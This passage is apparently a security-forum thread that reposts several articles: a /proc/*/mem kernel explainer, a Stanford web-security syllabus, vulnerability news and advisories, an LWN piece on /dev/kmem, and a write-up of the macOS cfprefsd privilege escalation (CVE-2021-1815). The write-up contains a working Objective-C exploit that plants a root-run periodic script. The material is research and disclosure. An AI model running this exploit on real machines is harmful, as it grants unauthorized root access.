a tool to facilitate Copy-on-Write than a security boundary, this does not present any real restriction upon the kernel. That said, it does require the inconvenience of fault handling, which would not otherwise be necessary. With this in mind, let’s examine the implementation. How /proc/*/mem works /proc/*/mem is implemented in fs/proc/base.c. A struct file_operations is populated with handler functions, and the function mem_rw() ultimately backs the write handler. mem_rw() uses access_remote_vm() for performing the actual writes. access_remote_vm() does the following: Calls get_user_pages_remote() to lookup the physical frame corresponding to the destination virtual address. Calls kmap() to map that frame into the kernel’s virtual address space as writable. Calls copy_to_user_page() to finally perform the writes. The implementation sidesteps the entire question of the kernel’s ability to write to unwritable userspace memory! It exerts the kernel’s control over the virtual memory subsystem to bypass the MMU entirely, allowing the kernel to simply write to its own writable address space. This renders the CR0.WP discussion moot. To elaborate on each of these steps: get_user_pages_remote() To bypass the MMU, the kernel needs to manually perform in software what the MMU accomplishes in hardware. The first step is translating the destination virtual address to a physical address. This is exactly what the get_user_pages() family of functions provides. These functions lookup physical memory frames that back a given virtual address range by walking the page tables. They also handle access validation and non-present pages. The caller provides context and modifies the behavior of get_user_pages() via flags. Of particular interest is the FOLL_FORCE flag, which mem_rw() passes. This flag causes check_vma_flags (the access validation logic within get_user_pages()) to ignore writes to unwritable pages and allow the lookup to continue. The “punch through” semantics are attributed entirely to FOLL_FORCE. (comments my own) static int check_vma_flags(struct vm_area_struct *vma, unsigned long gup_flags) { [...] if (write) { // If performing a write.. if (!(vm_flags & VM_WRITE)) { // And the page is unwritable.. if (!(gup_flags & FOLL_FORCE)) // *Unless* FOLL_FORCE.. return -EFAULT; // Return an error [...] return 0; // Otherwise, proceed with lookup } get_user_pages() also honors copy-on-write (CoW) semantics. If a write is detected to a non-writable page table entry, an “page fault” is emulated by calling handle_mm_fault, the core page fault handler. This triggers the appropriate CoW handling routine via do_wp_page, which copies the page if necessary. This ensures that writes via /proc/*/mem are only visible within the process if they occur to a privately shared mapping, such as libc. kmap() Once the physical frame has been looked up, the next step is to map it into the kernel’s virtual address space with writable permissions. This is done through kmap(). On 64 bit x86, all of physical memory is mapped via the linear mapping region of the kernel’s virtual address space. kmap() is trivial in this case — it just needs to add the start address of the linear mapping to the frame’s physical address to compute the virtual address that frame is mapped at. On 32 bit x86, the linear mapping contains a subset of physical memory, so kmap() may need to map the frame by allocating highmem memory and manipulating page tables In both of these cases, the linear mapping and highmem mappings are allocated with PAGE_KERNEL protection which is RW. copy_to_user_page() The last step is executing the writes. This is achieved through copy_to_user_page(), which is essentially a memcpy. Since the destination is the writable mapping from kmap(), this just works. Discussion To summarize, the kernel first translates the destination userspace virtual address to its backing physical frame via a software page table walk. Then it maps this frame into its own virtual address space as RW. Finally, it performs the writes using a simple memcpy. What is striking about this implementation is that it does not involve CR0.WP. The implementation elegantly sidesteps this by exploiting the fact that it is under no obligation to access memory via the pointer it receives from userspace. Since the kernel is in complete control of virtual memory, it can simply remap the physical frame into its own virtual address space, with arbitrary permissions, and operate on it as it wishes. This gets at an important point: the permissions guarding a page of memory are associated with the virtual address used to access that page, not the physical frame that backs the page. Indeed the notion of memory permissions is purely a consideration of virtual memory and does not pertain to physical memory. Conclusion Having thoroughly investigated the implementation details of /proc/*/mem’s “punch through” semantics, we can reflect on the relationship between the kernel and the CPU. At first glance, the ability of the kernel to write to unwritable userspace memory raises the question: to what degree can the CPU inhibit kernel memory access? The manual does indeed document control mechanisms that would seem to limit the kernel. However, under inspection, these prove to be superficial constraints at best — mere roadblocks that can be worked around, or sidestepped altogether. Sursa: https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/
-
CS 253 Web Security Fall 2019 This course is a comprehensive overview of web security. The goal is to build an understanding of the most common web attacks and their countermeasures. Given the pervasive insecurity of the modern web landscape, there is a pressing need for programmers and system designers to improve their understanding of web security issues. We'll be covering the fundamentals as well as the state-of-the-art in web security. Topics include: Principles of web security, attacks and countermeasures, the browser security model, web app vulnerabilities, injection, denial-of-service, TLS attacks, privacy, fingerprinting, same-origin policy, cross site scripting, authentication, JavaScript security, emerging threats, defense-in-depth, and techniques for writing secure code. Course projects include writing security exploits, defending insecure web apps, and implementing emerging web standards. Meeting time and place Tuesdays and Thursdays, 1:30 PM - 2:50 PM in classroom 380-380Y Course Staff Instructor Feross Aboukhadijeh (feross@cs.stanford.edu) Teaching Assistant Esther Goldstein (egolds@stanford.edu) Office Hours Feross: Thursday 3-5pm, Gates 323 Esther: Monday 3-5pm, Wednesday 3-5pm, Huang Basement Course Policies Communication We will primarily use Piazza for sending out course announcements and answering questions. Please make sure to sign up. We use Gradescope for assignment submissions. Enroll with the code 97BGZB. To submit anonymous feedback to us at any point during the quarter, you may use this form. Prerequisites CS 142, or an equivalent amount of web development experience, is a prerequisite. You should also be curious about web security and excited to learn clever attacks, defenses, and techniques for writing secure code. An introductory security course, such as CS 155, is not a formal prerequisite. The material in this course is focused specifically on the web, while CS 155 covers security more broadly. Attendence Attendance at lectures is mandatory. Do not enroll in this course if you are taking another course that meets at the same time. Grading Assignments (75%) Final Exam (25%) Each assignment is worth 15%. There is no midterm. Final Exam Tuesday, December 10, 3:30pm - 6:30pm in 200-305 Previous Final Exams Final Exam 2019 (Solutions) More Sample Final Exam Questions (Solutions) Collaboration Policy You may discuss the assignments with other students and you may work together to come up with solutions to the problems. If you do so, you must list the name of your collaborators in the submission. Each student must write up their solutions independently. Late Submissions You get three “late days” in total during the quarter. You may use a late day to submit an assignment after the deadline. You can use at most three late days for any single assignment, and you may only use late days in one-day increments (no partial late days). If you submit an assignment more than 72 hours after the deadline, or if you submit an assignment late after running out of late days, you will receive no credit for the submission. Please submit your assignments on time and save your late days for extraordinary situations. If you have questions about these policies, please ask us. Schedule Sep 24: What is Web Security? HTML & JavaScript Review Slides Video Reading Inside look at modern web browser (part 1) Inside look at modern web browser (part 2) Inside look at modern web browser (part 3) A Re-Introduction to JavaScript Sep 26: HTTP, Cookies, Sessions Slides Video Reading An overview of HTTP HTTP Cookies Skim: HTTP headers Oct 01: Session Attacks Slides Video Reading SameSite Cookies Explained Incrementally Better Cookies CSRF Is Dead Oct 03: Cross-Site Request Forgery, Same Origin Policy Slides Video Reading Same Origin policy Cross-Site Request Forgery Prevention Oct 08: Exceptions to the Same Origin Policy, Cross-Site Script Inclusion Slides Video Oct 10: Cross-Site Scripting (XSS) Slides Video Reading Cross Site Scripting Prevention Cheat Sheet XSS Filter Evasion Cheat Sheet Oct 15: Cross-Site Scripting Defenses Slides Video Reading Reining in the Web with Content Security Policy CSP is Dead: Long Live CSP Trusted Types Sanitising HTML: the DOM clobbering issue Oct 17: Fingerprinting and Privacy on the Web Guest Lecture by Pete Snyder (Brave Software) Slides Video Reading Online tracking: A 1-million-site measurement and analysis Most websites don't need to vibrate: A cost-benefit approach to improving browser security Browser Fingerprinting: An Introduction and the Challenges Ahead WebKit Ad Click Attribution Protecting Browser State from Web Privacy Attacks Skim: WebKit Tracking Prevention Policy Oct 22: Denial-of-service, Phishing, Side Channels Slides Video Reading Alice in Warningland: A Large-Scale Field Study of Browser Security Clickjacking Cross-Origin JavaScript Capability Leaks: Detection, Exploitation, and Defense Oct 24: Code Injection Slides Video Reading None Oct 29: Transport Layer Security Slides Video Reading Looking back at the Snowden revelations HTTPS encryption on the web Oct 31: HTTPS in the Real World: A Spooky Tale Guest Lecture by Emily Stark & Chris Palmer (Google Chrome) Slides Video Reading DigiNotar on Wikipedia About Public Key Pinning What Is HPKP For? Rolling out Public Key Pinning with HPKP Reporting Nov 05: Authentication Slides Video Reading Authentication Cheat Sheet Nov 07: WebAuthn - The future of user authentication on the web ? Guest Lecture by Lucas Garron (GitHub) Slides Video Reading Guide to Web Authentication Nov 12: No class Nov 14: Managing security concerns in a large Open Source project Guest Lecture by Myles Borins (Node.js technical steering committee, Google) Slides Video Reading Fantastic Timers and Where to Find Them: High-Resolution Microarchitectural Attacks in JavaScript A Roadmap for Node.js Security Nov 19: Server security, Safe coding practices Slides Video Reading Exploiting Buffer Nov 21: Local HTTP server security Slides Video Reading None Dec 03: DNS rebinding attacks Slides Video Reading Millions of Streaming Devices Are Vulnerable to a Retro Web Attack Protecting Browsers from DNS Rebinding Attacks Dec 05: Browser architecture, Writing secure code Slides Video Reading The Security Architecture of the Chromium Browser Cross-Origin Read Blocking (CORB) primer Skim: Cross-Origin Read Blocking (CORB) explainer Backdooring Your JavaScript Using Minifier Bugs I’m harvesting credit card numbers and passwords from your site. Here’s how. Major sites running unauthenticated JavaScript on their payment pages Assignments Assignment 0 – Web Programming Adventure ✈️ Assigned: Tuesday, September 24 Due: Friday, October 4 at 5:00pm Assignment 1 – Journey to the Dark Side ? Assigned: Tuesday, October 8 Due: Friday, October 18 at 5:00pm Assignment 2 – Oh What a Tangled Web We Weave ? Assigned: Saturday, October 26 Due: Thursday, November 7 at 11:59pm Assignment 3 – See Piazza Assigned: Tuesday, November 12 Due: Friday, November 22 at 5:00pm Assignment 4 – See Piazza Assigned: Mon, November 25 Due: Friday, December 6 at 5:00pm Website design by Feross Aboukhadijeh. Sursa: https://web.stanford.edu/class/cs253/
-
- 1
-
-
Newly Discovered Bugs in VSCode Extensions Could Lead to Supply Chain Attacks May 26, 2021 Ravie Lakshmanan Severe security flaws uncovered in popular Visual Studio Code extensions could enable attackers to compromise local machines as well as build and deployment systems through a developer's integrated development environment (IDE). The vulnerable extensions could be exploited to run arbitrary code on a developer's system remotely, in what could ultimately pave the way for supply chain attacks. Some of the extensions in question are "LaTeX Workshop," "Rainbow Fart," "Open in Default Browser," and "Instant Markdown," all of which have cumulatively racked up about two million installations between them. "Developer machines usually hold significant credentials, allowing them (directly or indirectly) to interact with many parts of the product," researchers from open-source security platform Synk said in a deep-dive published on May 26. "Leaking a developer's private key can allow a malicious stakeholder to clone important parts of the code base or even connect to production servers." VS Code extensions, like browser add-ons, allow developers to augment Microsoft's Visual Studio Code source-code editor with additional features like programming languages and debuggers relevant to their development workflows. VS Code is used by 14 million active users, making it a huge attack surface. The attack scenarios devised by Synk bank on the possibility that the installed extensions could be abused as a vector for supply chain attacks by exploiting weaknesses in the plugins to break into a developer system effectively. To that effect, the researchers examined VS Code extensions that had vulnerable implementations of local web servers. In one case identified by Synk researchers, a path traversal vulnerability identified in Instant Markdown could be leveraged by a nefarious actor with access to the local webserver (aka localhost) to retrieve any file hosted on the machine by simply tricking a developer into clicking a malicious URL. As a proof-of-concept (PoC) demonstration, the researchers showed it was possible to exploit this flaw to steal SSH keys from a developer who is running VS Code and has Instant Markdown or Open in Default Browser installed in the IDE. LaTeX Workshop, on the other hand, was found susceptible to a command injection vulnerability due to unsanitized input that could be exploited to run malicious payloads. Lastly, an extension named Rainbow Fart was ascertained to have a zip slip vulnerability, which allows an adversary to overwrite arbitrary files on a victim's machine and gain remote code execution. In an attack formulated by the researchers, a specially-crafted ZIP file was sent over an "import-voice-package" endpoint used by the plugin and written to a location that's outside of the working directory of the extension. "This attack could be used to overwrite files like '.bashrc' and gain remote code execution eventually," the researchers noted. Although the flaws in the extensions have since been addressed, the findings are important in light of a series of security incidents that show how developers have emerged as a lucrative attack target, what with threat actors unleashing a variety of malware to compromise development tools and environments for other campaigns. "What has been clear for third-party dependencies is also now clear for IDE plugins — they introduce an inherent risk to an application," Synk researchers Raul Onitza-Klugman and Kirill Efimov said. "They're potentially dangerous both because of their custom written code pieces and the dependencies they are built upon. What has been shown here for VS Code might be applicable to other IDEs as well, meaning that blindly installing extensions or plugins is not safe (it never has been)." Found this article interesting? Follow THN on Facebook, Twitter and LinkedIn to read more exclusive content we post. Sursa: https://thehackernews.com/2021/05/newly-discovered-bugs-in-vscode.html
-
- 1
-
-
Despre Competitie In perioada 28-29 August 2021 va avea loc a doua editiție a Romanian Cyber Security Challenge – RoCSC, un eveniment anual de tip CTF ce urmărește să descopere tinere talente în domeniul securității cibernetice. La competiție pot participa tineri dornici să își demonstreze abilitățile, ce se pot înscrie online până în ziua concursului. Participanții se vor întrece pe 3 categorii de concurs: Juniori (16-21 de ani), Seniori (22-26 de ani) și Open (disponibil indiferent de vârstă). Participarea este gratuită. Tinerii vor trebui să-și demonstreze abilitățile în domenii precum mobile & web security, crypto, reverse engineering și forensics. Primii clasați la RoCSC21 vor avea oportunitatea de a reprezenta România la Campionatul European de Securitate Cibernetică - ECSC21. Pentru înscriere, apăsați aici. Premii: Categoria Juniori: Locul I: 2000 euro Locul II: 1000 euro Locul III: 500 euro Locurile 4-10: premii speciale Categoria Seniori: Locul I: 2000 euro Locul II: 1000 euro Locul III: 500 euro Locurile 4-10: premii speciale Pentru a fi eligibili pentru premii, jucătorii trebuie să trimită prezentarea soluțiilor la contact@cyberedu.ro. Jucătorii care participă la categoria Open vor primi doar puncte pe platforma CyberEDU și nu sunt eligibili pentru premii. Competiția este organizată de Centrul Național Cyberint din cadrul Serviciului Român de Informații, Centrul Național de Răspuns la Incidente de Securitate Cibernetică - CERT-RO și Asociația Națională pentru Securitatea Sistemelor Informatice - ANSSI, alături de partenerii Orange România, Bit Sentinel, CertSIGN, Cisco, PaloAlto Networks. Detalii: https://www.cybersecuritychallenge.ro/
-
Get into Python Get started learning Python with our Python Tutorial. This tool is intended for everyone who wants to learn Python programming language, whether your are a beginner or already a pro. BEGIN DOWNLOAD PYTHON Intro Python Basics Python Advance Python NumPy Python Pandas Python SciPy Overview Introduction What is Python? What do you use Python for? What can you do with Python? Why use Python? Python Basics Hello World! Variables and Data Types Lists Basic Operators Strings Control Flows For Loops While Loops Functions Modules/Packages Dictionaries Classes and Objects Python Advance Generators List Comprehension Multiple Function Arguments Regular Expressions Exception Handling Sets Partial Functions Code Introspection Closures Decorators Map, Filter, Reduce File Handling Data Science Python Tutorials Python NumPy Python Pandas Python SciPy Python Functions and Methods Python Functions and Methods Index Sursa: https://jobtensor.com/Tutorial/Python/en/Introduction
-
- 1
-
-
Salut, aici pe forum se vor posta CTF-urile, de obicei punem un anunt mare si vizibil pe toate paginile
-
Salut, nu e chiar domeniul meu, dar nu cred ca exista tool-uri automate. Daca aplicatia e dezvoltata de tine, nu e nevoie de niciun tool in principiu ci doar de privire a acesteia din punctul de vedere al securitatii unde e important cam ce face aplicatia. Daca se conecteaza la o aplicatie web, comunicatia trebuie facuta doar prin HTTPS, certificatul trebuie validat iar daca datele pe care proceseaza sunt importante pentru utilizator ar fi necesar un SSL pinning (adica sa nu aiba incredere in orice Root CA de pe telefon). O alta masura de protectie pentru astfel de aplicatii e sa verifice ca un telefon nu este rootat. Astfel, previne un utilizator idiot care pe langa aceasta aplicatia importanta instaleaza toate mizeriile care contin malware, sa fure datele din aplicatie. Daca salveaza date pe card sau pe telefon, sa nu fie accesibile pentru orice aplicatie, daca nu se doreste explicit acest lucru in functie de ce face. Daca codul contine ceva complex, cum ar fi un algoritm propriu, obfuscarea sa ar putea ajuta (nu prea mult) la pastrarea putin ascunsa a acestui algoritm. Pentru unele aplicatii e necesara o autentificare. Dupa logare (care trebuie facuta "bine") se deschide aplicatia si utilizatorul isi vede datele "secrete". Daca o alta aplicatie poate deschide cu un intent (sau cum o fi exact asta) pagina de dupa autentificare, asta e un fel de "login bypass" si nu ar trebui sa se poata face. Aplicatia de asemenea poate contacta un serviciu web si daca acesta necesita cine stie ce, nu ar trebui sa fie hardcoded in aplicatii cine stie ce parole sau secrete. Cam asta imi vine in minte momentan, cauta mai bine niste checklist-uri, niste lucruri dupa care sa te uiti si iti poti da seama daca e totul in regula sau nu.
-
Cred ca a inceput: https://unr21-individual.cyberedu.ro/ @Andrei daca trece pe aici poate ne zice mai multe.
- 1 reply
-
- 1
-
-
Am facut si eu acum ceva timp a doua doza. Daca la prima doza ma durea putin mana la atingere (si atat) acum nici asta nu s-a mai intamplat. Nu am avut nimic. Astept sa se vaccineze si ai mei sa imi primesc licenta. Sunt curios in cat timp o sa murim ca "zice lumea" ca ne afecteaza pe termen lung. Pana acum majoritatea persoanelor pe care le cunosc s-au vaccinat si nu am fost la nicio inmormantare.
-
Mai mergi si tu pe jos Zatarro
-
Asa bre, baga posturi sa fie activitate ;;)
-
By Steve Povolny on May 12, 2021 Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015. With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products. The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw. At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability. McAfee Network Security Platform (NSP) Protection Sigset Version: 10.8.21.2 Attack ID: 0x4528f000 Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166) McAfee Knowledge Base Article KB94510: https://kc.mcafee.com/corporate/index?page=content&id=KB94510 Sursa: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/major-http-vulnerability-in-windows-could-lead-to-wormable-exploit/
-
Suntem cativa care incercam sa o tinem in viata. Dar lumea nu mai e foarte interesata de forumuri, nu prea inteleg de ce.
-
In the past years, we have analyzed the security of connected vehicles from top brands worldwide, such as BMW[1], Lexus[2], and Tesla[3][4][5]. Mercedes-Benz is also a great vehicle vendor, which is producing the most advanced cars in the world. It is worthwhile to study cars made by Mercedes-Benz. Mercedes-Benz's latest infotainment system is called Mercedes-Benz User Experience(MBUX). Mercedes-Benz first introduced MBUX in W177 MercedesBenz A-Class[6] and adopted MBUX in their entire vehicle line-up, including Mercedes-Benz C-Class, E-Class, S-Class, GLE, GLS, EQC, etc. MBUX is powered by Nvidia's high-end autonomous vehicle platform. Many cutting-edge technologies presented on this system, such as virtualization, TEE, augmented reality, etc. Earlier this year, Qihoo 360 published their research on Mercedes-Benz [7], which mainly focused on Mercedes-Benz 's T-Box, instead of the central infotainment ECU: head unit. The test bench showed in their presentation was built with an NTG5 head unit, which is a bit old. In MBUX, the tested head unit version is NTG6 (being used in A-, E-Class, GLE, GLS and EQC). Our research was based on this brand new system MBUX, NTG6 head unit, and vehicle W177. In our research, we analyzed many attack surfaces and successfully exploited some of them on head unit and T-Box. By combining some of them, we can compromise the head unit for two attack scenarios, the removed head units and the real-world vehicles. We showed what we could do after we compromised the head unit. Figure 1.1 demonstrates the compromisation of an actual car. We didn't find a way to compromise the T-Box. However, we demonstrated how to send arbitrary CAN messages from T-Box and bypass the code signing mechanism to fash a custom SH2A MCU firmware by utilizing the vulnerability we found in SH2A firmware on a debug version T-Box. Download PDF: https://keenlab.tencent.com/en/whitepapers/Mercedes_Benz_Security_Research_Report_Final.pdf
-
- 2
-
-
-
By Jonathan Corbet April 5, 2021 The recent proposal from David Hildenbrand to remove support for the /dev/kmem special file has not sparked a lot of discussion. Perhaps that is because today's youngsters, lacking an understanding of history, may be wondering what that file is in the first place and, thus, be unclear on why it may matter. Chances are that /dev/kmem will not be missed, but in passing it takes away a venerable part of the Unix kernel interface. /dev/kmem provides access to the kernel's address space; it can be read from or written to like an ordinary file, or mapped into a process's address space. Needless to say, there are some mild security implications arising from providing that sort of access; even read access to this file is generally enough to expose credentials and allow an attacker to take over a system. As a result, protections on /dev/kmem have always tended to be restrictive, but it remains the sort of open back door into the kernel that makes anybody who worries about security worry even more. It is a rare Linux system that enables /dev/kmem now. As of the 2.6.26 kernel release in July 2008, the kernel only implements this special file if the CONFIG_DEVKMEM configuration option is enabled. One will have to look long and hard for a distributor that enables this option in 2021; most of them disabled it many years ago. So its disappearance from the kernel is unlikely to create much discomfort. It's worth noting that Linux systems still support /dev/mem (without the "k"), which once provided similar access to all of the memory in the system. It has long been restricted to I/O memory; system RAM is off limits. The occasional user-space device driver still needs /dev/mem to function, but it's otherwise unused. One may well wonder why a dangerous interface like /dev/kmem existed in the first place. The kernel goes out of its way to hide its memory from the rest of the system; creating a special file to circumvent that hiding seems like a step in the wrong direction. The answer, in short, is that once there was no other way to get many types of information out of the kernel. As an example, consider the "load average" numbers printed by tools like top, uptime, or w; they indicate the average length of the CPU run queues over periods of one, five, and 15 minutes. In the distant past, when computers were scarce and it was common to run many tasks on the same machine, jobs that were not time-critical would often consult the load average and defer their work if it was too high. It was the sort of courtesy that was much appreciated by the other users of the machine, of which there may have been dozens. But how does one determine the current load average? Unix kernels have maintained those statistics for decades, but they originally kept that information to themselves. User-space code that wanted to know this number would have to do the following: Read the symbol table from the executable image of the current kernel to determine the location of the avenrun array. Open /dev/kmem and seek to that location. Read the avenrun array into a user-space buffer. Code from that era can be hard to find, but the truly masochistic can wade through what must be one of the deeper circles of #ifdef hell to find an implementation toward the bottom of this version of getloadavg() from an early GNU make release. In a current Linux system, instead, all that is needed is to read a line from /proc/loadavg. This kind of grubbing around in kernel memory was not limited to the load-average array. Tools with more complex information requirements also had to dig around in /dev/kmem; see, for example, the 2.9BSD implementation of ps. That was just how things were done in those days. Rooting through the kernel's memory for information about the system has a number of problems beyond the need to implement /dev/kmem. Changes to the kernel could break user space in surprising ways. Multiple reads were often needed to get a complete picture, but that picture could change while the reads were taking place, leading to more surprises. The move away from /dev/kmem and toward well-defined kernel interfaces, such as /proc, sysfs, and various system calls, has cleaned this situation up — and made it possible to disable /dev/kmem. Now, it seems that /dev/kmem will go away entirely. Linus Torvalds said that he would "happily do this for the next merge window", but he wanted confirmation that distributors are, indeed, not enabling it now. There have been a few responses for specific distributions, but nobody has said that /dev/kmem is still in use anywhere. If there are users of this interface out there, they will want to make their existence known in the near future. Failing that, this back door into kernel memory will soon be removed entirely — but, then, your editor once predicted that it would be removed for 2.6.14, so one never knows. Sursa: https://lwn.net/Articles/851531/
-
- 1
-
-
CVE-2021-1815 – MACOS LOCAL PRIVILEGE ESCALATION VIA PREFERENCES May 6, 2021 Offensive Security Apple recently fixed three vulnerabilities in macOS 11.3’s Preferences. Although we also reported the vulnerability, it was first found by Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020). Here we present our writeup about how we identified one of the issues, and how we exploited it. In 2020, the team from Georgia Institute of Technology (Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim) successfully exploited Apple macOS at pwn2own 2020. They presented their six-step exploit chain at BlackHat USA 2020, and their slides are available here. They also posted a detailed writeup on GitHub along with video on YouTube. While reading through their very detailed writeup, which also includes information about how Apple patched the various vulnerabilities they found, we noticed a mistake Apple made while patching one of the discovered issues. Specifically, Apple failed to mitigate all exploitation paths when fixing CVE-2020-9839, which affected the cfprefsd process. We discovered that privilege escalation is still possible via the cfprefsd daemon. The cfprefsd process is responsible for setting preferences. There are normally two instances running, one responsible for setting preferences for applications which runs with normal user privileges, and one running as root which is responsible for setting system wide preferences. Any process can open XPC connection to any of the two cfprefsd processes. The original vulnerability allowed an attacker to communicate with the global cfprefsd daemon, which runs as root and set user ownership on custom directories by utilizing symbolic links. This was possible when the cfprefsd daemon created the directory for the preferences file using the CFPrefsCreatePreferencesDirectory function. The team reverse engineered the fix for CVE-2020-9839, which is shown below in Listing . int _CFPrefsCreatePreferencesDirectory(path) { int dirfd = open("/", O_DIRECTORY); for(slice in path.split("/")) { int fd = openat(dirfd, slice, O_DIRECTORY); if (fd == -1 && errno == ENOENT && !mkdirat(dirfd, slice, perm)) { fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW); if ( fd == -1 ) return -1; fchown(fd, uid, gid); } } // close all fds return 0; } Listing – The patched CFPrefsCreatePreferencesDirectory function Apple’s fix ensured that symbolic links are no longer followed, thus ownership can’t be changed anymore on arbitrary directories. Nevertheless, one issue remained. Although not obvious at first sight, this patch is not sufficient to completely prevent escalatation of privilege attacks. The code shown above still allows a user to create an directory with either user or root privileges. Since the directory location is under the control of the attacker, this can be abused to escalate privileges to root. Here we will detail one method, but as we can create directories as any user in arbitrary locations there can be other ways to abuse this. macOS makes use of maintenance scripts, i.e. periodic scripts that run with root privileges on a daily, weekly and monthly basis. The periodic scripts are configured through the /etc/defaults/periodic.conf file. This script has a definition for user defined scripts. # periodic script dirs local_periodic="/usr/local/etc/periodic" Listing – User defined periodic scripts On default macOS installations, this location doesn’t exist. This means that we can create this directory structure by connecting to the cfprefsd root daemon service, and asking the dameon to set ownership of the directory to our user. Once this directory is created, we can create our script there (as the location will be owned by the user) and that script will be run as root. An exploit example is shown below: #import <Foundation/Foundation.h> #include <xpc/xpc.h> #include <sys/stat.h> int main() { char *serviceName = "com.apple.cfprefsd.daemon"; int status = 0; xpc_connection_t conn; xpc_object_t msg; conn = xpc_connection_create_mach_service(serviceName, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); if (conn == NULL) { perror("xpc_connection_create_mach_service"); } xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) { perror("xpc_connection_set_event_handler"); }); xpc_connection_resume(conn); msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1); xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true); //create as user xpc_dictionary_set_string(msg, "CFPreferencesUser", "kCFPreferencesCurrentUser"); xpc_dictionary_set_string(msg, "CFPreferencesHostBundleIdentifier", "prefs"); xpc_dictionary_set_string(msg, "CFPreferencesDomain", "/usr/local/etc/periodic/daily/a.plist"); xpc_dictionary_set_string(msg, "Key", "key"); xpc_dictionary_set_string(msg, "Value", "value"); xpc_connection_send_message(conn, msg); usleep(1000000); NSString* script = @"touch /Library/privesc.txt\n"; NSError *error; BOOL succeed = [script writeToFile:@"/usr/local/etc/periodic/daily/111.lpe" atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (!succeed){ printf("Couldn't create periodic script :(\n"); } char mode[] = "0777"; int i; i = strtol(mode, 0, 8); chmod("/usr/local/etc/periodic/daily/111.lpe",i); } Listing – cfprefsd exploit This exploit will initiate an XPC message to the cfprefsd daemon which runs as root. This is identified by the service name com.apple.cfprefsd.daemon. (The user mode daemon is identified as com.apple.cfprefsd.agent). The daemon will create the folder /usr/local/etc/periodic/daily/ and then write our script to the location, which will run touch /Library/privesc.txt. We can compile the code with gcc -framework Foundation cfprefsd_exploit.m -o cfprefsd_exploit. First let’s ensure that neither the directory /usr/local/etc/periodic/daily/ nor the file we want to create /Library/privesc.txt already exist. offsec@bigsur ~ % ls -l /Library/privesc.txt ls: /Library/privesc.txt: No such file or directory offsec@bigsur ~ % ls -lR /usr/local/ Listing – Verifying diirectory and file Now that we verified that, let’s run our exploit. offsec@bigsur ~ % ./cfprefsd_exploit xpc_connection_set_event_handler: Undefined error: 0 offsec@bigsur ~ % ls -lR /usr/local/ total 0 drwx------ 3 offsec staff 96 Apr 13 02:02 etc /usr/local//etc: total 0 drwx------ 3 offsec staff 96 Apr 13 02:02 periodic /usr/local//etc/periodic: total 0 drwx------ 3 offsec staff 96 Apr 13 02:02 daily /usr/local//etc/periodic/daily: total 8 -rwxrwxrwx@ 1 offsec staff 27 Apr 13 02:02 111.lpe Listing – Running the exploit As we can see, the folder structure was created with our script written at the target location. Next, we simulate the execution of periodic scripts. offsec@bigsur ~ % sudo periodic daily offsec@bigsur ~ % ls -l /Library/privesc.txt -rw-r--r-- 1 root wheel 0 Apr 13 02:02 /Library/privesc.txt Listing – Invoke daily scripts and verify the execution of our daily script Once the script run our file is created as root. We can also create a directory as root if we want by using the following line in the exploit. xpc_dictionary_set_string(msg, "CFPreferencesUser", "root"); Listing – Change this in exploit code if we need to create a directory as root In summary, we can still use cfprefsd to create arbitrary directories in arbitrary location as any user. Using this we can write arbitrary scripts that will be executed later as root. Using periodic scripts is just an example for utilizing this vulnerability, as other options with the same end result might exist. ABOUT THE AUTHOR Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea. Sursa: https://www.offensive-security.com/offsec/macos-preferences-priv-escalation/
-
A physical graffiti of LSASS: getting credentials from physical memory for fun and learning May 08, 2021 Adepts of 0xCC Dear Fellowlship, today’s homily is about how one of our owls began his own quest through the lands of physical memory to find the credentials keys to paradise. Please, take a seat and listen to the story. Prayers at the foot of the Altar a.k.a. disclaimer Our knowledge about the topic discussed in this article is limited, as we stated in the tittle we did this work just for learning purposes. If you spot incorrections/misconceptions, please ping us at twitter so we can fix it. For a more accurate information (and deep explanations), please check the book “Windows Internals” (Pavel Yosifovich, Alex Ionescu, Mark E. Russinovich & David A. Solomon). Also well-known forensic tools are a good source of information (for example Volatility) Other important thing to keep in mind: the windows version used here is Windows 10 2009 20H2 (October 2020 Update) Preamble Hunting for juicy information inside dumps of physical memory is something that regular forensic tools does by default. Even cheaters have been exploring this way in the past to build wallhacks: read physical memory, find your desired game process and look for the player information structs. From a Red Teaming/Pentesting optics, this approach has been explored too in order to obtain credentials from the lsass process in 